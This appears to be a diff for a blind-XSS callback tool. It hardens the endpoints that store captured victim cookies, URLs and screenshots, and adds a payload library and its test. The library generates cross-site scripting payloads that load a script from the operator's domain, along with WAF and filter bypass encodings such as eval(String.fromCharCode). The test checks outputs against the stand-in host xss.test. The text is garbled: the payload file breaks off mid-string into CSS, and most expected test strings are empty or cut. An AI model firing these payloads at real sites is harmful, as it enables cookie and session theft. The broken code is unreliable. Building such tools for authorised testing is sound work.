diff --git a/api.js b/api.js index c2544ee..868c50a 100644 --- a/api.js +++ b/api.js @@ -209,6 +209,7 @@ async function set_up_api_server(app) { } } app.delete(constants.API_BASE_PATH + 'payloadfires', validate({ body: DeletePayloadFiresSchema }), async (req, res) => { + try { const ids_to_delete = req.body.ids; // Pull the corresponding screenshot_ids from the DB so @@ -222,11 +223,11 @@ async function set_up_api_server(app) { }, attributes: ['id', 'screenshot_id'] }); - const screenshots_to_delete = screenshot_id_records.map(payload => { - return `${SCREENSHOTS_DIR}/${payload.screenshot_id}.png.gz`; - }); + const screenshots_to_delete = screenshot_id_records + .filter(payload => payload.screenshot_id !== null) + .map(payload => `${SCREENSHOTS_DIR}/${payload.screenshot_id}.png.gz`); await Promise.all(screenshots_to_delete.map(screenshot_path => { - return asyncfs.unlink(screenshot_path); + return asyncfs.unlink(screenshot_path).catch(() => {}); })); const payload_fires = await PayloadFireResults.destroy({ where: { @@ -240,6 +241,10 @@ async function set_up_api_server(app) { 'success': true, 'result': {} }).end(); + } catch(e) { + console.error('Error deleting payload fires:', e); + res.status(500).json({ 'success': false, 'error': e.message }).end(); + } }); /* diff --git a/app.js b/app.js index 358a5e0..a4c067a 100644 --- a/app.js +++ b/app.js @@ -176,36 +176,39 @@ async function get_app_server() { "status": "success" }).end(); - // Multer stores the image in the /tmp/ dir. We use this source image - // to write a gzipped version in the user-provided dir and then delete - // the original uncompressed image. - const payload_fire_image_id = uuid.v4(); - const payload_fire_image_filename = `${SCREENSHOTS_DIR}/${payload_fire_image_id}.png.gz`; - const multer_temp_image_path = req.file.path; - - // We also gzip the image so we don't waste disk space - const gzip = zlib.createGzip(); - const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename); - const input_read_stream = fs.createReadStream(multer_temp_image_path); - - // When the "finish" event is called we delete the original - // uncompressed image file left behind by multer. - input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => { - if(error) { - console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`); - console.error(error); - } - - console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`); - - await asyncfs.unlink(multer_temp_image_path); - }); + // Screenshot is optional — the probe omits it when html2canvas fails + // (SVG-heavy pages, broken images, safety-timer fallback). Guard req.file + // so a missing screenshot doesn't crash the handler and lose all other data. + let payload_fire_image_id = null; + if (req.file) { + payload_fire_image_id = uuid.v4(); + const payload_fire_image_filename = `${SCREENSHOTS_DIR}/${payload_fire_image_id}.png.gz`; + const multer_temp_image_path = req.file.path; + + // We also gzip the image so we don't waste disk space + const gzip = zlib.createGzip(); + const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename); + const input_read_stream = fs.createReadStream(multer_temp_image_path); + + // When the "finish" event is called we delete the original + // uncompressed image file left behind by multer. + input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => { + if(error) { + console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`); + console.error(error); + } + + console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`); + + await asyncfs.unlink(multer_temp_image_path); + }); + } const payload_fire_id = uuid.v4(); var payload_fire_data = { id: payload_fire_id, url: req.body.uri, - ip_address: req.connection.remoteAddress.toString(), + ip_address: (req.ip || req.connection.remoteAddress).toString(), referer: req.body.referrer, user_agent: req.body['user-agent'], cookies: req.body.cookies, @@ -230,13 +233,23 @@ async function get_app_server() { payload_fire_data.correlated_request = correlated_request_rec.request; } - // Store payload fire results in the database - const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data); - - // Send out notification via configured notification channel - if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") { - payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`; - await notification.send_email_notification(payload_fire_data); + // The HTTP response has already been sent above, so this runs + // fire-and-forget. Any rejection here (e.g. a DB error) can't be + // surfaced to the client and would otherwise become an + // UnhandledPromiseRejection that can crash the process — so catch + // and log it instead. + try { + // Store payload fire results in the database + const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data); + + // Send out notification via configured notification channel + if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") { + payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`; + await notification.send_email_notification(payload_fire_data); + } + } catch(error) { + console.error(`Failed to persist/notify XSS payload fire (id: ${payload_fire_id}):`); + console.error(error); } }); diff --git a/database.js b/database.js index beacca4..402695c 100644 --- a/database.js +++ b/database.js @@ -156,50 +156,35 @@ PayloadFireResults.init({ }, { sequelize, modelName: 'payload_fire_results', + // NOTE: The unbounded free-text columns (url, referer, user_agent, + // cookies, title, origin) are intentionally NOT indexed. A Postgres + // btree index entry cannot exceed ~8191 bytes, and these columns hold + // unbounded attacker/victim-supplied data (a large cookie/referer/url + // would make the whole INSERT fail with "index row requires N bytes"). + // Only fixed-size or bounded columns are indexed. If search-by-origin is + // ever needed, use a hash index (USING hash) rather than btree. indexes: [ { - unique: false, - fields: ['url'], - method: 'BTREE', - }, - { + // Bounded (socket peer IP, ~45 chars max) and useful for + // correlating fires from the same source. unique: false, fields: ['ip_address'], method: 'BTREE', }, { unique: false, - fields: ['referer'], - method: 'BTREE', - }, - { - unique: false, - fields: ['user_agent'], - method: 'BTREE', - }, - { - unique: false, - fields: ['cookies'], - method: 'BTREE', - }, - { - unique: false, - fields: ['title'], - method: 'BTREE', - }, - { - unique: false, - fields: ['origin'], + fields: ['was_iframe'], method: 'BTREE', }, { unique: false, - fields: ['was_iframe'], + fields: ['browser_timestamp'], method: 'BTREE', }, { + // Used by the payload-fire list ordering (ORDER BY createdAt DESC). unique: false, - fields: ['browser_timestamp'], + fields: ['createdAt'], method: 'BTREE', } ] diff --git a/front-end/src/libs/payloads.js b/front-end/src/libs/payloads.js new file mode 100644 index 0000000..a4e75e3 --- /dev/null +++ b/front-end/src/libs/payloads.js @@ -0,0 +1,372 @@ +const utils = require('./utils.js'); + +const html_encode = utils.html_encode; +const urlsafe_base64_encode = utils.urlsafe_base64_encode; + +const CATEGORY_ATTRIBUTE_BREAKOUT = 'attribute_breakout'; +const CATEGORY_URI_BASED = 'uri_based'; +const CATEGORY_WAF_BYPASS = 'waf_bypass'; +const CATEGORY_DOM_BASED = 'dom_based'; + +function js_attrib(base_domain) { + return 'var a=document.createElement("script");a.src="https://' + base_domain + '";document.body.appendChild(a);'; +} + +function b64_js(base_domain) { + return html_encode(urlsafe_base64_encode(js_attrib(base_domain))); +} + +function case_mix(value) { + return value.split('').map((character, index) => { + return index % 2 === 0 ? character.toLowerCase() : character.toUpperCase(); + }).join(''); +} + +function entity_encode(value) { + return value.split('').map((character) => { + return '&#' + character.charCodeAt(0) + ';'; + }).join(''); +} + +function from_char_code(js) { + return 'eval(String.fromCharCode(' + js.split('').map((character) => { + return character.charCodeAt(0); + }).join(',') + '))'; +} + +const categories = [ + { id: CATEGORY_ATTRIBUTE_BREAKOUT, label: 'Attribute Breakouts' }, + { id: CATEGORY_URI_BASED, label: 'URI / Link-Based' }, + { id: CATEGORY_WAF_BYPASS, label: 'WAF & Filter Bypass' }, + { id: CATEGORY_DOM_BASED, label: 'DOM-Based' }, + { id: 'all', label: 'All' }, +]; + +const payloads = [ + { + 'id': 'basic_script', + 'category': CATEGORY_ATTRIBUTE_BREAKOUT, + 'title': 'Basic <script> Tag Payload', + 'description': 'Classic payload', + 'func': function(base_domain) { + return "\"> \ No newline at end of file +.payload-note { + color: #d3d3d7; + font-size: 0.9rem; +} +.payload-note-label { + font-weight: bold; +} + diff --git a/front-end/test/payloads.test.js b/front-end/test/payloads.test.js new file mode 100644 index 0000000..01d1ef6 --- /dev/null +++ b/front-end/test/payloads.test.js @@ -0,0 +1,137 @@ +const payloads_module = require('../src/libs/payloads.js'); + +const DOMAIN = 'xss.test'; +const { payloads, categories, helpers } = payloads_module; + +const ALLOWED_CATEGORY_IDS = ['attribute_breakout', 'uri_based', 'waf_bypass', 'dom_based']; + +let passed = 0; + +function check(name, condition) { + if (!condition) { + throw new Error('FAILED: ' + name); + } + passed += 1; + console.log('ok - ' + name); +} + +// Module shape +check('module exports payloads array', Array.isArray(payloads)); +check('module exports categories array', Array.isArray(categories)); +check('module exports helpers', typeof helpers === 'object' && helpers !== null); + +// Categories +check('categories have expected order', categories.map((c) => c.id).join(',') === + 'attribute_breakout,uri_based,waf_bypass,dom_based,all'); +categories.forEach((category) => { + check('category ' + category.id + ' has label', typeof category.label === 'string' && category.label.length > 0); +}); + +// Every payload entry is complete +payloads.forEach((payload) => { + const label = payload.id; + check(label + ' has id', typeof payload.id === 'string' && payload.id.length > 0); + check(label + ' has valid category', ALLOWED_CATEGORY_IDS.indexOf(payload.category) !== -1); + check(label + ' has title', typeof payload.title === 'string' && payload.title.length > 0); + check(label + ' has description', typeof payload.description === 'string' && payload.description.length > 0); + check(label + ' func returns string', typeof payload.func === 'function' && typeof payload.func(DOMAIN) === 'string'); + check(label + ' has example', typeof payload.example === 'string' && payload.example.length > 0); + check(label + ' has caveats', typeof payload.caveats === 'string' && payload.caveats.length > 0); + check(label + ' has when', typeof payload.when === 'string' && payload.when.length > 0); +}); + +// Existing payloads preserved (golden values) +const by_id = {}; +payloads.forEach((p) => { by_id[p.id] = p; }); + +check('basic_script golden', by_id.basic_script.func(DOMAIN) === + '">'); +check('jquery_chainload golden', by_id.jquery_chainload.func(DOMAIN) === + ''); +check('xmlhttprequest_load golden', by_id.xmlhttprequest_load.func(DOMAIN) === + ''); +check('javascript_uri golden', by_id.javascript_uri.func(DOMAIN) === + "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://xss.test\\';document.body.appendChild(a)')"); +check('input_onfocus golden', by_id.input_onfocus.func(DOMAIN) === + '">'); +check('image_onerror golden', by_id.image_onerror.func(DOMAIN) === + '">'); +check('video_source golden', by_id.video_source.func(DOMAIN) === + '">